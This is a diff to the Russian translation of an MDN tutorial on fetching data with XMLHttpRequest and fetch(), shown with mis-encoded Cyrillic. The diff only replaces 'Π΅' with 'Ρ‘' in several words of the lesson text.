- <p>ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ рСсурса ΠΈΠ· сСти - это {{glossary("asynchronous")}} опСрация, ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π°Ρ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ этой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, рСсурс возвращаСтся ΠΈΠ· сСти), ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π²Ρ‹ смоТСтС ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ с этим ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠΌ, ΠΈΠ½Π°Ρ‡Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½Π° ошибка. XHR позволяСт Π²Π°ΠΌ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ это, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события {{domxref("XMLHttpRequest.onload", "onload")}} - ΠΎΠ½ запускаСтся ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ события {{event("load")}} (ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ вСрнулся). Когда это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‚Π° Π±ΡƒΠ΄ΡƒΡ‚ доступны Π² свойствС <code>response</code> (ΠΎΡ‚Π²Π΅Ρ‚) ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° запроса XHR.</p>
+ <p>ΠŸΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠ΅ рСсурса ΠΈΠ· сСти - это {{glossary("asynchronous")}} опСрация, ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π°Ρ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠΆΠ΄Π°Ρ‚ΡŒΡΡ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ этой ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, рСсурс возвращаСтся ΠΈΠ· сСти), ΠΏΡ€Π΅ΠΆΠ΄Π΅ Ρ‡Π΅ΠΌ Π²Ρ‹ смоТСтС ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ с этим ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠΌ, ΠΈΠ½Π°Ρ‡Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€ΠΎΡˆΠ΅Π½Π° ошибка. XHR позволяСт Π²Π°ΠΌ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ это, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события {{domxref("XMLHttpRequest.onload", "onload")}} - ΠΎΠ½ запускаСтся ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ события {{event("load")}} (ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ вСрнулся). Когда это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΡ‚Π²Π΅Ρ‚Π° Π±ΡƒΠ΄ΡƒΡ‚ доступны Π² свойствС <code>response</code> (ΠΎΡ‚Π²Π΅Ρ‚) ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° запроса XHR.</p>
<p>Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π½ΠΈΠΆΠ΅ вашСго послСднСго дополнСния. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события <code>onload</code> ΠΌΡ‹ устанавливаСм textContent <code>poemDisplay</code> (элСмСнт {{htmlelement("pre")}}) Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ {{domxref("XMLHttpRequest.response", "request. response ")}}.</p>
@@ -133,7 +133,7 @@ var url = verse + '.txt';</pre>
};</pre>
</li>
<li>
- <p>Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Π°Ρ конфигурация запроса XHR  фактичСски Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° ΠΌΡ‹ Π½Π΅ Π²Ρ‹Π·ΠΎΠ²Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("XMLHttpRequest.send", "send()")}}. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π½ΠΈΠΆΠ΅ вашСго ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ дополнСния для Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:</p>
+ <p>Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Π°Ρ конфигурация запроса XHR  фактичСски Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° ΠΌΡ‹ Π½Π΅ Π²Ρ‹Π·ΠΎΠ²Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("XMLHttpRequest.send", "send()")}}. Π”ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ Π½ΠΈΠΆΠ΅ вашСго ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ дополнСния для Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:</p>
<pre class="brush: js">request.send();</pre>
</li>
@@ -159,7 +159,7 @@ verseChoose.value = 'Verse 1';</pre>
<ol>
<li>
- <p>Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ копию своСго ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ Π³ΠΎΡ‚ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ². (Если Π²Ρ‹ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ Π½Π°Π΄ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ΠΌ, создайтС Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ создайтС ΠΊΠΎΠΏΠΈΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html">xhr-basic.html</a> ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅Ρ… тСкстовых Ρ„Π°ΠΉΠ»ΠΎΠ² β€” <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a> ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a>.)</p>
+ <p>Π‘Π΄Π΅Π»Π°ΠΉΡ‚Π΅ копию своСго ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅Π³ΠΎ Π³ΠΎΡ‚ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ². (Если Π²Ρ‹ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ Π½Π°Π΄ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΌ ΡƒΠΏΡ€Π°ΠΆΠ½Π΅Π½ΠΈΠ΅ΠΌ, создайтС Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Ρ‚Π°Π»ΠΎΠ³ ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π³ΠΎ создайтС ΠΊΠΎΠΏΠΈΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html">xhr-basic.html</a> ΠΈ Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… тСкстовых Ρ„Π°ΠΉΠ»ΠΎΠ² β€” <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a> ΠΈ <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a>.)</p>
</li>
<li>
<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>updateDisplay()</code> Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅ ΠΊΠΎΠ΄ XHR:</p>
@@ -192,9 +192,9 @@ request.send();</pre>
<p>ΠŸΡ€Π΅ΠΆΠ΄Π΅ всСго, ΠΌΡ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("WorkerOrWindowGlobalScope.fetch()", "fetch()")}}, пСрСдавая Π΅ΠΌΡƒ URL-адрСс рСсурса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ. Π­Ρ‚ΠΎ соврСмСнный эквивалСнт {{domxref("XMLHttpRequest.open", "request.open()")}} Π² XHR, плюс Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ΅Π½ эквивалСнт <code>.send()</code>.</p>
-<p>ПослС этого Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref("Promise.then", ".then()")}}, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½Ρ‹ΠΉ Π² ΠΊΠΎΠ½Π΅Ρ† <code>fetch()</code> - этот ΠΌΠ΅Ρ‚ΠΎΠ΄ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ {{jsxref("Promise","Promises")}} - соврСмСнная функция JavaScript для выполнСния асинхронных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ. <code>fetch()</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ с сСрвСра, - ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ <code>.then()</code> для запуска Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ΄Π° послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ, Ρ‡Ρ‚ΠΎ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Π΅. Π­Ρ‚ΠΎ эквивалСнт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события <code>onload</code> Π² XHR-вСрсии.</p>
+<p>ПослС этого Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{jsxref("Promise.then", ".then()")}}, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½Ρ‹ΠΉ Π² ΠΊΠΎΠ½Π΅Ρ† <code>fetch()</code> - этот ΠΌΠ΅Ρ‚ΠΎΠ΄ являСтся Ρ‡Π°ΡΡ‚ΡŒΡŽ {{jsxref("Promise","Promises")}} - соврСмСнная функция JavaScript для выполнСния асинхронных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ. <code>fetch()</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚, ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹ΠΉ ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ с сСрвСра, - ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ <code>.then()</code> для запуска Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΊΠΎΠ΄Π° послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ, Ρ‡Ρ‚ΠΎ являСтся Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π΅Ρ‘. Π­Ρ‚ΠΎ эквивалСнт ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события <code>onload</code> Π² XHR-вСрсии.</p>
-<p>Π­Ρ‚Π° функция автоматичСски ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚ ΠΎΡ‚ сСрвСра Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠ±Π΅Ρ‰Π°Π΅Ρ‚ <code>fetch()</code>. Π’Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΡ‹ Π±Π΅Ρ€Π΅ΠΌ ΠΎΡ‚Π²Π΅Ρ‚ ΠΈ запускаСм Π΅Π³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("Body.text", "text()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² основном Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚ ΠΊΠ°ΠΊ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ тСкст. Π­Ρ‚ΠΎ эквивалСнт <code>request.responseType = 'text'</code> Π² вСрсии XHR.</p>
+<p>Π­Ρ‚Π° функция автоматичСски ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚ ΠΎΡ‚ сСрвСра Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, ΠΊΠΎΠ³Π΄Π° ΠΎΠ±Π΅Ρ‰Π°Π΅Ρ‚ <code>fetch()</code>. Π’Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΡ‹ Π±Π΅Ρ€Ρ‘ΠΌ ΠΎΡ‚Π²Π΅Ρ‚ ΠΈ запускаСм Π΅Π³ΠΎ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("Body.text", "text()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² основном Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚ ΠΊΠ°ΠΊ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ тСкст. Π­Ρ‚ΠΎ эквивалСнт <code>request.responseType = 'text'</code> Π² вСрсии XHR.</p>
<p>Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ <code>text()</code>Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅, поэтому ΠΌΡ‹ привязываСм ΠΊ Π½Π΅ΠΌΡƒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ <code>.then()</code>, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΡ‹ опрСдСляСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ для получСния Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½ΠΎΠ³ΠΎ тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ±Π΅Ρ‰Π°Π΅Ρ‚ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ <code>text()</code>.</p>
@@ -204,7 +204,7 @@ request.send();</pre>
<p>ΠžΠ±Π΅Ρ‰Π°Π½ΠΈΡ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π·Π°ΠΏΡƒΡ‚Ρ‹Π²Π°ΡŽΡ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΈΡ… встрСчаСтС, Π½ΠΎ Π½Π΅ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ ΠΎΠ± этом слишком Π΄ΠΎΠ»Π³ΠΎ. Π§Π΅Ρ€Π΅Π· Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя Π²Ρ‹ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ½Π΅Ρ‚Π΅ ΠΊ Π½ΠΈΠΌ, особСнно, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ большС ΠΎ соврСмСнных JavaScript-API. Π‘ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΠΈΠ· Π½ΠΈΡ… Π² большСй стСпСни основаны Π½Π° обСщаниях.</p>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° структуру ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ свСрху, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΌΠΎΠΆΠ΅ΠΌ Π»ΠΈ ΠΌΡ‹ Π΅Ρ‰Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ это:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° структуру ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠΉ свСрху, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΌΠΎΠΆΠ΅ΠΌ Π»ΠΈ ΠΌΡ‹ Π΅Ρ‰Ρ‘ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ это:</p>
<pre class="brush: js">fetch(url).then(function(response) {
response.text().then(function(text) {
@@ -214,7 +214,7 @@ request.send();</pre>
<p>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ строкС говорится: Β«ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ рСсурс, располоТСнный ΠΏΠΎ адрСсу urlΒ» <code>(fetch(url)</code>) ΠΈ Β«Π·Π°Ρ‚Π΅ΠΌ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎΒ» (<code>.then(function() { ... })</code>). Β«ResolveΒ» ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ Β«Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π² ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌΒ». Указанная опСрация Π² этом случаС Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠΈ рСсурса с ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ URL (с использованиСм HTTP-запроса) ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° ΠΎΡ‚Π²Π΅Ρ‚Π° для нас, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ.</p>
-<p>ЀактичСски, функция, пСрСданная Π² <code>then()</code>, прСдставляСт собой кусок ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ запускаСтся Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ - вмСсто этого ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ своС ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΈ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ {{jsxref("Promise.then", ".then()")}} вмСсто этого. НиТС ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎ ΠΆΠ΅ самоС:</p>
+<p>ЀактичСски, функция, пСрСданная Π² <code>then()</code>, прСдставляСт собой кусок ΠΊΠΎΠ΄Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ запускаСтся Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ - вмСсто этого ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚Π²Π΅Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ своё ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅ Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ ΠΈ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΡƒ {{jsxref("Promise.then", ".then()")}} вмСсто этого. НиТС ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚ΠΎ ΠΆΠ΅ самоС:</p>
<pre class="brush: js">var myFetch = fetch(url);
@@ -224,7 +224,7 @@ myFetch.then(function(response) {
});
});</pre>
